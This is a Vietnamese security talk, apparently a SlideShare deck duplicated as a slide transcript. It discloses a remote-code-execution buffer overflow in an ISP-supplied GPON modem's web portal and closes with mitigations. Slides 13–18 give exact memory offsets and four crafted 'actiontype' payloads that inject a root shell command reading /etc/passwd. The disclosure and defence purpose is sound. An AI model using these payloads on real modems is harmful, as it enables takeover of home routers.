ݺߣ

ݺߣShare a Scribd company logo
Hiểm Họa An Toàn Từ Các Modem
Internet Của ISP Tại Việt Nam
Nguyen Van Luc
Email: nguyenvanluc(at)vsec.com.vn
Nội Dung
 Tổng quan bảo mật mạng ISP
 Khai thác lỗi tràn bộ đệm trong Modem của một ISP Việt Nam
 Nguy hiểm và giải pháp phòng chống
 Q & A
Tổng Quan Bảo Mật Mạng ISP
 Mạng ISP
• Các modem được kết nối qua các
PSTN hay thiết bị định tuyến của
ISP.
• Mỗi modem được cấp phát một IP
theo dải bởi ISP. IP này có thể truy
cập từ Internet và được rà quét bởi
shodan.io
• Số lượng modem được cung cấp
cho người dùng rất lớn.
• Nhận thức và hiểu biết của người
dùng về bảo mật modem thấp.
Tổng Quan Bảo Mật Mạng ISP
 Các vấn đề bảo mật thiết bị Modem:
• Các thiết bị modem đa phần được sản xuất và cung cấp từ Trung Quốc. Các ISP
không thể kiểm soát quy trình bảo mật.
• Các chương trình chạy trên modem tồn tại nhiều lỗ hổng do yếu điểm của kiến trúc
nhúng (ARM, MIPS).
• Các biện pháp chống khai thác (ASLR, DEP, GS,…) không được áp dụng hoặc khó
áp dụng.
• Khó duy trì và cập nhật bản vá cho thiết bị khi đã cung cấp tới người dùng.
• Mức độ quan tâm tới bảo mật thiết bị nhúng và IoT 4.0 chưa được chú trọng.
Tổng Quan Bảo Mật Mạng ISP
 Một số lỗ hổng thiết bị Modem
(thế giới và VN):
• Mật khẩu truy cập thiết bị mặc
định
• Lỗ hổng trên chính các thiết bị
hay chip wifi của thiết bị
• Quản lý tr069 của rất nhiều ISP
tồn tại lỗi bảo mật.
Tổng Quan Bảo Mật Mạng ISP
 Một số lỗ hổng thiết bị Modem
(thế giới và VN):
• Buffer overflow trong Web Portal
• CSRF, XSS, …
 Thông tin về lỗ hổng
• Lỗ hổng tồn tại trong một thiết bị modem của ISP tại Việt Nam
• Lỗi tràn bộ đệm trong trang quản lý Web Portal của thiết bị
• Cho phép thực thi mã lệnh từ xa.
• Chỉ có thể thực hiện trong mạng LAN Wifi
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
 Thông tin cơ bản về thiết bị
• GPON Router
• Chạy nhân Linux 2.6.x
• Kiến trúc ARM-LE 32 bits
• Không có các cơ chế chống khai thác: ASLR (Address Space Layout Randomize),
DEP (Data Execution Prevention), GS (Guard Stack),…
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
 Phân tích firmware
• Firmware không được public (trừ 1 vài ISP)
• Thu thập firmware qua:
 Google searching
 JTAG, UART,...
 Enable telnet/ssh → dump binary
• Sử dụng binwalk để phân tích firmware(thường sử
dụng ZLIB để nén):
 Hỗ trợ giải nén squash, cramfs hay jffs
 Trích xuất các tệp tin binary
• Reverse để phân tích và tìm lỗi.
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
 Lỗi tràn bộ đệm trong portal_Form
 Hoạt động portal_Form:
1. Thực hiện hành động “ping” or “traceroute”
qua nội dung của actiontype được gửi lên.
2. Kiểm tra trạng thái kết nối WAN tại ô nhớ
0x35768. Trả ra
 “WAN NOT UP” nếu không có kết nối
WAN
 Gọi hàm diag_check thực hiện “ping” or
“traceroute”

 Lỗi tràn bộ đệm trong portal_Form
 Lỗi xảy ra trong việc copy dữ liệu từ
actiontype vào bộ nhớ sử dụng strcpy
 Không kiểm tra độ dài của actiontype
dẫn tới dữ liệu được ghi tràn
action_buffer
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
 Lỗi tràn bộ đệm trong
portal_Form
 Hoạt động của diag_check
 1. Nhận tham số là địa chỉ ô nhớ 0x3577c,
thực hiện lệnh system()
 2. Ghi kết quả ra log và giao diện phía
client.
=> Thực hiện lệnh từ xa nếu
ta có thể thay đổi nội dung ô
nhớ 0x3577c
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
 Lỗi tràn bộ đệm trong portal_Form
 Khai thác lỗi:
• Địa chỉ của action_buffer chứa nội dụng của actiontype
là 0x356e4
• Địa chỉ của vùng nhớ cần ghi đè để thực hiện lệnh là 0x3577c
• Địa chỉ của vùng nhớ chứa trạng thái của WAN là 0x35768
=> Chúng ta cần 0x98 (0x3577c-0x356e4) để ghi đè 0x3577c
chứa lệnh thực thi và nội dung của ô nhớ 0x35768 = 0x000001
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
 Lỗi tràn bộ đệm trong portal_Form
 Khai thác lỗi: Thực hiện gửi liên tục 4 kết nối tới modem
1
st
request: thiết lập trạng thái bộ nhớ chứa mã lệnh cần thực hiện
actiontype=“ping”+“A”*(0x84-4)+”x69”*0x14 + “`cat /etc/passwd > /tmp/pwn`”
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
Mã lệnh cần
thực hiện
 Lỗi tràn bộ đệm trong portal_Form
 Khai thác lỗi:
2
nd
request: Ghi đè byte thứ 4 của 0x35768 thành 0x00
actiontype = “ping” +“A”*(0x84-4) +”x69x69x69x00”
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
 Lỗi tràn bộ đệm trong portal_Form
 Khai thác lỗi:
3
rd
request: Ghi đè byte thứ 3 của 0x35768(WAN_STATE)
thành 0x00
actiontype = “ping” +“A”*(0x84-4) +”x69x69x00”
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
 Lỗi tràn bộ đệm trong portal_Form
 Khai thác lỗi:
4
th
request: Hoàn tất việc ghi đè 2 byte đầu tiên của
WAN_STATE thành 0x0001
actiontype = “ping” +“A”*(0x84-4) +”x01x00”
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
 Lỗi tràn bộ đệm trong portal_Form
 Sau khi thực hiện xong 4 kết nối thì hàm diag_check sẽ được gọi. Mã lệnh sẽ được thực
hiện trên thiết bị Modem.
 Web Portal được chạy với quyền root nên thiết bị hoàn toàn được kiểm soát.
Khai thác lỗi tràn bộ đệm trong Modem của
một ISP Việt Nam
Attacker
Target
l Nguy hiểm và giải pháp phòng chống
 Mối nguy hiểm:
 Thiết bị hoàn toàn có thể bị truy cập và kiểm soát bởi kể tấn công.
 Tuy lỗi này chỉ được thực hiện trong LAN nhưng có thể kết hợp với lỗi
CSRF(Cross-Site Request Forgery) để tấn công.
 Có thể được sử dụng kết hợp với một số lỗi khác để tấn công các thiết bị trong
cùng mạng của ISP.
l Nguy hiểm và giải pháp phòng chống
 Phòng chống
• Người dùng:
 Giới hạn người dùng không tin cậy truy cập wifi.
 Vô hiệu hóa truy cập WEb Portal qua WAN nếu được bật.
 Cập nhật firmware đã được vá từ ISP hoặc nhà sản xuất thiết bị.
• ISP:
 Rà soát, vá lỗ hổng và thực thi các biện pháp chống khai thác: ASLR, DEP, GS, …
 Thông báo và cung cấp bản vá cho người dung.
l Questions & Answers
 contact<at>vsec.com.vn
 Nguyen Van Luc(nguyenvanluc<at>vsec.com.vn)

More Related Content

Luc Nguyen - Hiem họa an toan tu cac modem internet cua cac ISP tại Viet Nam

  • 1. Hiểm Họa An Toàn Từ Các Modem Internet Của ISP Tại Việt Nam Nguyen Van Luc Email: nguyenvanluc(at)vsec.com.vn
  • 2. Nội Dung  Tổng quan bảo mật mạng ISP  Khai thác lỗi tràn bộ đệm trong Modem của một ISP Việt Nam  Nguy hiểm và giải pháp phòng chống  Q & A
  • 3. Tổng Quan Bảo Mật Mạng ISP  Mạng ISP • Các modem được kết nối qua các PSTN hay thiết bị định tuyến của ISP. • Mỗi modem được cấp phát một IP theo dải bởi ISP. IP này có thể truy cập từ Internet và được rà quét bởi shodan.io • Số lượng modem được cung cấp cho người dùng rất lớn. • Nhận thức và hiểu biết của người dùng về bảo mật modem thấp.
  • 4. Tổng Quan Bảo Mật Mạng ISP  Các vấn đề bảo mật thiết bị Modem: • Các thiết bị modem đa phần được sản xuất và cung cấp từ Trung Quốc. Các ISP không thể kiểm soát quy trình bảo mật. • Các chương trình chạy trên modem tồn tại nhiều lỗ hổng do yếu điểm của kiến trúc nhúng (ARM, MIPS). • Các biện pháp chống khai thác (ASLR, DEP, GS,…) không được áp dụng hoặc khó áp dụng. • Khó duy trì và cập nhật bản vá cho thiết bị khi đã cung cấp tới người dùng. • Mức độ quan tâm tới bảo mật thiết bị nhúng và IoT 4.0 chưa được chú trọng.
  • 5. Tổng Quan Bảo Mật Mạng ISP  Một số lỗ hổng thiết bị Modem (thế giới và VN): • Mật khẩu truy cập thiết bị mặc định • Lỗ hổng trên chính các thiết bị hay chip wifi của thiết bị • Quản lý tr069 của rất nhiều ISP tồn tại lỗi bảo mật.
  • 6. Tổng Quan Bảo Mật Mạng ISP  Một số lỗ hổng thiết bị Modem (thế giới và VN): • Buffer overflow trong Web Portal • CSRF, XSS, …
  • 7.  Thông tin về lỗ hổng • Lỗ hổng tồn tại trong một thiết bị modem của ISP tại Việt Nam • Lỗi tràn bộ đệm trong trang quản lý Web Portal của thiết bị • Cho phép thực thi mã lệnh từ xa. • Chỉ có thể thực hiện trong mạng LAN Wifi Khai thác lỗi tràn bộ đệm trong Modem của một ISP Việt Nam
  • 8.  Thông tin cơ bản về thiết bị • GPON Router • Chạy nhân Linux 2.6.x • Kiến trúc ARM-LE 32 bits • Không có các cơ chế chống khai thác: ASLR (Address Space Layout Randomize), DEP (Data Execution Prevention), GS (Guard Stack),… Khai thác lỗi tràn bộ đệm trong Modem của một ISP Việt Nam
  • 9.  Phân tích firmware • Firmware không được public (trừ 1 vài ISP) • Thu thập firmware qua:  Google searching  JTAG, UART,...  Enable telnet/ssh → dump binary • Sử dụng binwalk để phân tích firmware(thường sử dụng ZLIB để nén):  Hỗ trợ giải nén squash, cramfs hay jffs  Trích xuất các tệp tin binary • Reverse để phân tích và tìm lỗi. Khai thác lỗi tràn bộ đệm trong Modem của một ISP Việt Nam
  • 10. Khai thác lỗi tràn bộ đệm trong Modem của một ISP Việt Nam  Lỗi tràn bộ đệm trong portal_Form  Hoạt động portal_Form: 1. Thực hiện hành động “ping” or “traceroute” qua nội dung của actiontype được gửi lên. 2. Kiểm tra trạng thái kết nối WAN tại ô nhớ 0x35768. Trả ra  “WAN NOT UP” nếu không có kết nối WAN  Gọi hàm diag_check thực hiện “ping” or “traceroute” 
  • 11.  Lỗi tràn bộ đệm trong portal_Form  Lỗi xảy ra trong việc copy dữ liệu từ actiontype vào bộ nhớ sử dụng strcpy  Không kiểm tra độ dài của actiontype dẫn tới dữ liệu được ghi tràn action_buffer Khai thác lỗi tràn bộ đệm trong Modem của một ISP Việt Nam
  • 12.  Lỗi tràn bộ đệm trong portal_Form  Hoạt động của diag_check  1. Nhận tham số là địa chỉ ô nhớ 0x3577c, thực hiện lệnh system()  2. Ghi kết quả ra log và giao diện phía client. => Thực hiện lệnh từ xa nếu ta có thể thay đổi nội dung ô nhớ 0x3577c Khai thác lỗi tràn bộ đệm trong Modem của một ISP Việt Nam
  • 13.  Lỗi tràn bộ đệm trong portal_Form  Khai thác lỗi: • Địa chỉ của action_buffer chứa nội dụng của actiontype là 0x356e4 • Địa chỉ của vùng nhớ cần ghi đè để thực hiện lệnh là 0x3577c • Địa chỉ của vùng nhớ chứa trạng thái của WAN là 0x35768 => Chúng ta cần 0x98 (0x3577c-0x356e4) để ghi đè 0x3577c chứa lệnh thực thi và nội dung của ô nhớ 0x35768 = 0x000001 Khai thác lỗi tràn bộ đệm trong Modem của một ISP Việt Nam
  • 14.  Lỗi tràn bộ đệm trong portal_Form  Khai thác lỗi: Thực hiện gửi liên tục 4 kết nối tới modem 1 st request: thiết lập trạng thái bộ nhớ chứa mã lệnh cần thực hiện actiontype=“ping”+“A”*(0x84-4)+”x69”*0x14 + “`cat /etc/passwd > /tmp/pwn`” Khai thác lỗi tràn bộ đệm trong Modem của một ISP Việt Nam Mã lệnh cần thực hiện
  • 15.  Lỗi tràn bộ đệm trong portal_Form  Khai thác lỗi: 2 nd request: Ghi đè byte thứ 4 của 0x35768 thành 0x00 actiontype = “ping” +“A”*(0x84-4) +”x69x69x69x00” Khai thác lỗi tràn bộ đệm trong Modem của một ISP Việt Nam
  • 16.  Lỗi tràn bộ đệm trong portal_Form  Khai thác lỗi: 3 rd request: Ghi đè byte thứ 3 của 0x35768(WAN_STATE) thành 0x00 actiontype = “ping” +“A”*(0x84-4) +”x69x69x00” Khai thác lỗi tràn bộ đệm trong Modem của một ISP Việt Nam
  • 17.  Lỗi tràn bộ đệm trong portal_Form  Khai thác lỗi: 4 th request: Hoàn tất việc ghi đè 2 byte đầu tiên của WAN_STATE thành 0x0001 actiontype = “ping” +“A”*(0x84-4) +”x01x00” Khai thác lỗi tràn bộ đệm trong Modem của một ISP Việt Nam
  • 18.  Lỗi tràn bộ đệm trong portal_Form  Sau khi thực hiện xong 4 kết nối thì hàm diag_check sẽ được gọi. Mã lệnh sẽ được thực hiện trên thiết bị Modem.  Web Portal được chạy với quyền root nên thiết bị hoàn toàn được kiểm soát. Khai thác lỗi tràn bộ đệm trong Modem của một ISP Việt Nam Attacker Target
  • 19. l Nguy hiểm và giải pháp phòng chống  Mối nguy hiểm:  Thiết bị hoàn toàn có thể bị truy cập và kiểm soát bởi kể tấn công.  Tuy lỗi này chỉ được thực hiện trong LAN nhưng có thể kết hợp với lỗi CSRF(Cross-Site Request Forgery) để tấn công.  Có thể được sử dụng kết hợp với một số lỗi khác để tấn công các thiết bị trong cùng mạng của ISP.
  • 20. l Nguy hiểm và giải pháp phòng chống  Phòng chống • Người dùng:  Giới hạn người dùng không tin cậy truy cập wifi.  Vô hiệu hóa truy cập WEb Portal qua WAN nếu được bật.  Cập nhật firmware đã được vá từ ISP hoặc nhà sản xuất thiết bị. • ISP:  Rà soát, vá lỗ hổng và thực thi các biện pháp chống khai thác: ASLR, DEP, GS, …  Thông báo và cung cấp bản vá cho người dung.
  • 21. l Questions & Answers  contact<at>vsec.com.vn  Nguyen Van Luc(nguyenvanluc<at>vsec.com.vn)